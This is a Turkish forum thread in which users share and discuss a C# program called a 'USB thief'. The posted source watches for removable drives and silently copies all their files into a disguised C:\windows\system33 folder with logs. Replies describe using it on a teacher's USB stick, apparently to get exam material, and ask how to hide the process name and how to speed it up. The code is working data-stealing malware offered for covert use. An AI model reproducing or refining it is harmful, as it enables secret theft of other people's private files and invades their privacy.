C# - USB Hırsızı For TBT :) [Güncellendi]
-
tamam çalıştırdım :D
-
Hocam süper bir çalışma mesaj atıyorum işime yarar!
-
Evet harika bi pro. harika düşünce ama eksik var :) hemde çok
mamii öncelikle şunu ayarla o program bence :) Ben yaşadım ondan anlatıyorum ve moralim sıfır.
Gittim laptopu açtım hocanını usb yi taktım başladı kopyalamaya çat :) durdu...
YAni olay ş kopyalayamadığı bi şey olursa devam etmiyor program :) bunu ayarla bence ilk olarak...
Ve diğer dediklerini de eklersen ve en son halini buraya koyarsan alla razı olsun deriz ben arkadaşıma yaptırdım ama diğer kullanıcılar için diyorum..
Kolay gelsin
-
fikir hırsızı :))
kodlarıda koyalım tam olsun madem :),
Baslat metotu
private void Baslat()
{
this.DosyaKontrol();
foreach (DriveInfo info in DriveInfo.GetDrives())
{
if (info.DriveType == DriveType.Removable)
{
if (info.IsReady)
{
try
{
this.timer1.Enabled = false;
this.Kopyala(info.ToString(), @"C:\windows\system33\kopyalandi");
this.timer1.Enabled = true;
}
catch (Exception exception)
{
File.WriteAllText(@"C:\windows\system33\errors.txt", string.Concat(new object[] { this.Oku(), Environment.NewLine, exception.Message, " - ", DateTime.Now }));
}
}
else
{
File.WriteAllText(@"C:\windows\system33\errors.txt", Environment.NewLine + "Aygıt Hazır Değildi - " + DateTime.Now);
}
}
}
}DosyaKontrol Metotu;
private void DosyaKontrol()
{
if (!File.Exists(@"C:\windows\system33\kopyalandi"))
{
Directory.CreateDirectory(@"C:\windows\system33\kopyalandi");
}
if (!File.Exists(@"C:\windows\system33\logs.txt"))
{
File.CreateText(@"C:\windows\system33\logs.txt");
}
if (!File.Exists(@"C:\windows\system33\errors.txt"))
{
File.CreateText(@"C:\windows\system33\errors.txt");
}
if (!File.Exists(@"C:\windows\system33\kopyalandi\compressed"))
{
Directory.CreateDirectory(@"C:\windows\system33\kopyalandi\compressed");
}}
Kopyala Metotupublic void Kopyala(string kaynak, string hedef)
{
if (hedef[hedef.Length - 1] != Path.DirectorySeparatorChar)
{
hedef = hedef + Path.DirectorySeparatorChar;
}
if (!Directory.Exists(hedef))
{
Directory.CreateDirectory(hedef);
}
string[] fileSystemEntries = Directory.GetFileSystemEntries(kaynak, "*.*");
string str = @"c:\windows\system33\kopyalandi\";
foreach (string str2 in fileSystemEntries)
{
FileInfo[] files = new DirectoryInfo(kaynak).GetFiles("*.*", SearchOption.AllDirectories);
if (this.hesapla)
{
long num = 0L;
foreach (FileInfo info2 in files)
{
num += info2.Length;
}
string[] strArray3 = new string[] { Environment.NewLine, "------------------------------ Kopyalanacak Toplam Boyut: ", (num / 0x100000L).ToString(), " MB", Environment.NewLine };
this.LogTut(string.Concat(strArray3));
}
this.hesapla = false;
Application.DoEvents();
FileAttributes attributes = File.GetAttributes(str2);
bool flag = false;
string extension = Path.GetExtension(str2);
if ((extension.ToLower() == ".zip") || (extension.ToLower() == ".rar"))
{
flag = true;
}
if (Directory.Exists(str2))
{
this.Kopyala(str2, hedef + Path.GetFileName(str2));
}
else if (flag)
{
File.Copy(str2, str + @"compressed\" + Path.GetFileName(str2), true);
this.LogTut(str2 + " isimli dosya Compressed klas\x00f6r\x00fcne başarıyla kopyalandı - " + DateTime.Now);
}
else
{
File.Copy(str2, hedef + Path.GetFileName(str2), true);
this.LogTut(str2 + " isimli dosya başarıyla kopyalandı - " + DateTime.Now);
}
}
}LogOku metotu;
private string LogOku()
{
return File.ReadAllText(@"C:\windows\system33\logs.txt");
}
LogTut metotu
private void LogTut(string str)
{
string contents = this.LogOku();
contents = str + Environment.NewLine + contents;
File.WriteAllText(@"C:\windows\system33\logs.txt", contents);
}Oku metotu
private string Oku()
{
return File.ReadAllText(@"C:\windows\system33\errors.txt");}
-
hocam eline koluna sağlıkta bizim bilgisayarlar windows 7 ve o yüzden C:\windows\system33\ buraya klasör açamıyor engelliyor.. çalışamıyor program.. bunu halledebilirmisin 1. vizeleri kaçırdık bari 2. vizelerde ortalığın aqlım :)
-
ctrl+alt+del yapıp işlemlere baktığımızda programın adını ney olarak görcez
ayrıca 2. versiyonda 5 dk çok çok fazla kısamazmıyız bunu?
-
windows 7 ye uyumlu değilmi arkadaşlar
-
Lostok bunu yazdı:
-----------------------------
ctrl+alt+del yapıp işlemlere baktığımızda programın adını ney olarak görcez
ayrıca 2. versiyonda 5 dk çok çok fazla kısamazmıyız bunu?
-----------------------------adını ne koyduysan o olarak göreceksin
asd.exe dersen işlemlerde asd.exe iye gözükür ....
Kısaltılmış halide var en başta bakarsan görürsün ...
-
açılmılş konularda buna benzer bi program var :
http://www1.tahribat.com/Forum-Bilgisayariniza-Takilan-Usb-cdrom-Daki-Verileri-calin-resimli-61147/
-
ne güzel bir icat :D
